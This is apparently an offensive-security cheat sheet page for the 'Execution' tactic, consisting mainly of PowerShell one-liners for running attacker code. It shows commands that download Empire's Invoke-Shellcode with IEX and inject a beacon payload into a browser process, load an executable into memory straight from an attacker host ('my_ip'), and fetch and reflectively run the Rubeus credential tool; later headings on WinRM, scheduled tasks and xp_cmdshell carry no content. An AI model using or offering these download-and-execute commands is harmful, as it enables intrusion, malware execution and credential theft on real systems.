Execution
The adversary is trying to run malicious code. https://attack.mitre.org/tactics/TA0002/
Executing Shellcode
Empire's Invoke-Shellcode
Invoke-ShellcodeIEX (New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/EmpireProject/Empire/dev/data/module_source/code_execution/Invoke-Shellcode.ps1');
$b = [System.Io.File]::ReadAllBytes("C:\beaconx64.bin");
Invoke-Shellcode -ProcessId $(ps edge.exe).Id -Shellcode $b;Executable to In-Memory Assembly Code
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://my_ip/run.exe'))Download and Execute in Memory
$u = "https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.0_Any/"
$f="Rubeus.exe"
$c = "1"
[byte[]] $a = (New-Object System.Net.WebClient).DownloadData($u+$f)
$assem = [System.Reflection.Assembly]::Load($a);
#$assem.CustomAttributes
#$assem.EntryPoint |ft Name, ReflectedType, Module, IsPublic
([Type]$assem.EntryPoint.DeclaringType.FullName.ToString())::([String]$assem.EntryPoint.Name).Invoke($c)WinRM
PowerShell Execution via Text File
Scheduled Task Creation
PowerUpSQL
MSSQL Server Enumeration
Enumerate User Privileges
Enable xp_cmdshell / Execute Commands
Execute DB Query via MSSQL Link
Import the PowerShell ActiveDirectory Module
Last updated